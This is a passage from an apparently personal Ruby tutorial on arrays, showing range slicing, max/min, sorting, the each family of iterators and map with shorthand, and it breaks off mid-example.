<p>We can use a <code>..</code> or <code>...</code> to specify a range of indices within an array. These are useful for 

<a href="https://www.geeksforgeeks.org/window-sliding-technique/" target="_blank" rel="noopener">sliding window problems</a>:</p>
<p>Using <code>..</code> results in an inclusive range:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="o">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">a</span><span class="o">[</span><span class="mi">1</span><span class="o">..</span><span class="mi">4</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [2, 3, 4, 5]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Using <code>...</code> results in an exclusive range:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="o">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">a</span><span class="o">[</span><span class="mi">1</span><span class="o">...</span><span class="mi">4</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [2, 3, 4]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="maximum-element">Maximum Element</h3>
<p>We can use <code>max()</code> to retrieve the biggest number in an array:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">4</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">max</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; 8</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>If <code>max()</code> is used on an array of strings it returns the last string after sorting alphabetically:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;D&#34;</span><span class="p">,</span> <span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">max</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; &#34;D&#34;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>It works the same way for an array of Symbols:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="ss">:A</span><span class="p">,</span> <span class="ss">:C</span><span class="p">,</span> <span class="ss">:D</span><span class="p">,</span> <span class="ss">:B</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">max</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; :D</span>
</span></span></code></pre></td></tr></table>
</blockquote><p><code>max()</code> will not work on an array containing elements of different types:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="s2">&#34;A&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">max</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; (irb):14:in `max&#39;: comparison of Integer with String failed (ArgumentError)</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="minimum-element">Minimum Element</h3>
<p>Works the same way as <code>max()</code> but with the smallest value instead.</p>
<p>Retrieving the smallest number in an array:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="mi">9</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">8</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">min</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; 1</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>If <code>min()</code> is used on an array of strings it returns the first string after sorting alphabetically:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;D&#34;</span><span class="p">,</span> <span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">min</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; &#34;A&#34;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>It works the same way for an array of Symbols:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="ss">:A</span><span class="p">,</span> <span class="ss">:C</span><span class="p">,</span> <span class="ss">:D</span><span class="p">,</span> <span class="ss">:B</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">min</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; :A</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>And once again, <code>min()</code> will not work on an array containing elements of different types:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="s2">&#34;A&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">min</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; (irb):27:in `min&#39;: comparison of Integer with String failed (ArgumentError)</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="sorting-arrays">Sorting Arrays</h2>
<p>The <code>sort()</code> method returns a sorted version of the array it is used on. This does not modify the original array:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;E&#34;</span><span class="p">,</span> <span class="s2">&#34;D&#34;</span><span class="p">,</span> <span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">sort</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;A&#34;, &#34;B&#34;, &#34;C&#34;, &#34;D&#34;, &#34;E&#34;]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;E&#34;, &#34;D&#34;, &#34;A&#34;, &#34;C&#34;, &#34;B&#34;]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Use <code>sort!()</code> to modify the array in-place:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;E&#34;</span><span class="p">,</span> <span class="s2">&#34;D&#34;</span><span class="p">,</span> <span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">sort!</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;A&#34;, &#34;B&#34;, &#34;C&#34;, &#34;D&#34;, &#34;E&#34;]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;A&#34;, &#34;B&#34;, &#34;C&#34;, &#34;D&#34;, &#34;E&#34;]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Sorting works with other types of elements as well.</p>
<p>Sorting integers:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="mi">5</span><span class="p">,</span> <span class="mi">9</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [5, 9, 0, 3, 4]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">sort</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [0, 3, 4, 5, 9]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Sorting symbols:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="ss">:red</span><span class="p">,</span> <span class="ss">:blue</span><span class="p">,</span> <span class="ss">:green</span><span class="p">,</span> <span class="ss">:cyan</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [:red, :blue, :green, :cyan]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">sort</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [:blue, :cyan, :green, :red]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Sorting multi-character strings:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;someone&#34;</span><span class="p">,</span> <span class="s2">&#34;hire&#34;</span><span class="p">,</span> <span class="s2">&#34;me&#34;</span><span class="p">,</span> <span class="s2">&#34;please&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;someone&#34;, &#34;hire&#34;, &#34;me&#34;, &#34;please&#34;]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">sort</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;hire&#34;, &#34;me&#34;, &#34;please&#34;, &#34;someone&#34;]</span>
</span></span></code></pre></td></tr></table>
</blockquote><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;aaaa&#34;</span><span class="p">,</span> <span class="s2">&#34;aa&#34;</span><span class="p">,</span> <span class="s2">&#34;aaa&#34;</span><span class="p">,</span> <span class="s2">&#34;a&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;aaaa&#34;, &#34;aa&#34;, &#34;aaa&#34;, &#34;a&#34;]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">sort</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;a&#34;, &#34;aa&#34;, &#34;aaa&#34;, &#34;aaaa&#34;]</span>
</span></span></code></pre></td></tr></table>
</blockquote><blockquote><p><strong>Note:</strong></p>There&rsquo;s also a <code>sort_by()</code> method but I am too dumb to come up with good examples. You should read about it in this article instead: 

<a href="https://www.rubyguides.com/2017/07/ruby-sort/" target="_blank" rel="noopener">How to Sort Arrays &amp; Hashes in Ruby</a>.</blockquote>

<h2 id="looping-through-arrays">Looping Through Arrays</h2>
<h3 id="each-element">Each Element</h3>
<p>Use <code>each()</code> to iterate through each element in an array:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="p">,</span> <span class="s2">&#34;D&#34;</span><span class="p">,</span> <span class="s2">&#34;E&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">i</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="nb">puts</span> <span class="n">i</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># output:</span>
</span></span><span class="line"><span class="cl"><span class="c1"># A</span>
</span></span><span class="line"><span class="cl"><span class="c1"># B</span>
</span></span><span class="line"><span class="cl"><span class="c1"># C</span>
</span></span><span class="line"><span class="cl"><span class="c1"># D</span>
</span></span><span class="line"><span class="cl"><span class="c1"># E</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="each-index">Each Index</h3>
<p>Use <code>each_index()</code> to iterate through each index in an array beginning at 0:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="p">,</span> <span class="s2">&#34;D&#34;</span><span class="p">,</span> <span class="s2">&#34;E&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">each_index</span> <span class="k">do</span> <span class="o">|</span><span class="n">i</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="nb">puts</span> <span class="n">i</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># output:</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 0</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 1</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 2</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 3</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 4</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="element-and-index">Element and Index</h3>
<p>Use <code>each_with_index()</code> to iterate through both elements and indexes at the same time. The first variable in the <code>| |</code> is the element, the second one is the index.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="p">,</span> <span class="s2">&#34;D&#34;</span><span class="p">,</span> <span class="s2">&#34;E&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">each_with_index</span> <span class="k">do</span> <span class="o">|</span><span class="n">element</span><span class="p">,</span> <span class="n">index</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="nb">puts</span> <span class="s2">&#34;</span><span class="si">#{</span><span class="n">index</span><span class="si">}</span><span class="s2">: </span><span class="si">#{</span><span class="n">element</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># output:</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 0: A</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 1: B</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 2: C</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 3: D</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 4: E</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="modifying-all-elements-in-an-array">Modifying All Elements in an Array</h2>
<p>We can use <code>map()</code> to modify all elements in an array.</p>
<p>For example, to increment all integers in an array we can do the following:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">map</span> <span class="p">{</span> <span class="o">|</span><span class="n">i</span><span class="o">|</span> <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="c1">#  =&gt; [2, 3, 4, 5, 6]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [1, 2, 3, 4, 5]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>To modify the elements/array in-place, add an exclamation point:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">map!</span> <span class="p">{</span> <span class="o">|</span><span class="n">i</span><span class="o">|</span> <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="c1">#  =&gt; [2, 3, 4, 5, 6]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [2, 3, 4, 5, 6]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Here&rsquo;s another example where string names in an array are capitalized appropriately:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">names</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;nelson&#34;</span><span class="p">,</span> <span class="s2">&#34;cindy&#34;</span><span class="p">,</span> <span class="s2">&#34;john&#34;</span><span class="p">,</span> <span class="s2">&#34;sophia&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">names</span><span class="o">.</span><span class="n">map!</span> <span class="p">{</span> <span class="o">|</span><span class="nb">name</span><span class="o">|</span> <span class="nb">name</span><span class="o">.</span><span class="n">capitalize</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;Nelson&#34;, &#34;Cindy&#34;, &#34;John&#34;, &#34;Sophia&#34;]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>There is a shorthand notation when you want to run a method against all elements in an array. We can use <code>&amp;:method_name</code>. The following example achieves the exact same thing as the previous example:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">names</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;nelson&#34;</span><span class="p">,</span> <span class="s2">&#34;cindy&#34;</span><span class="p">,</span> <span class="s2">&#34;john&#34;</span><span class="p">,</span> <span class="s2">&#34;sophia&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">names</span><span class="o">.</span><span class="n">map!</span><span class="p">(</span><span class="o">&amp;</span><span class="ss">:capitalize</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;Nelson&#34;, &#34;Cindy&#34;, &#34;John&#34;, &#34;Sophia&#34;]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Here&rsquo;s another example using shorthand notation to convert all strings to symbols:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="p">,</span> <span class="s2">&#34;D&#34;</span><span class="p">,</span> <span class="s2">&#34;E&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">map!</span><span class="p">(</span><span class="o">&amp;</span><span class="ss">:to_sym</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [:A, :B, :C, :D, :E]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>If you want to do more advanced things, like modify elements conditionally, you will need to stick to the long format. This example replaces all <code>nil</code> elements with <code>0</code> but leaves other elements unchanged:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="o">[</span><span class="mi">100</span><span class="p">,</span> <span class="mi">200</span><span class="p">,</span> <span class="kp">nil</span><span class="p">,</span> <span class="mi">400</span><span class="p">,</span> <span class="mi">500</span><span class="p">,</span> <span class="kp">nil</span><span class="o">]</span>
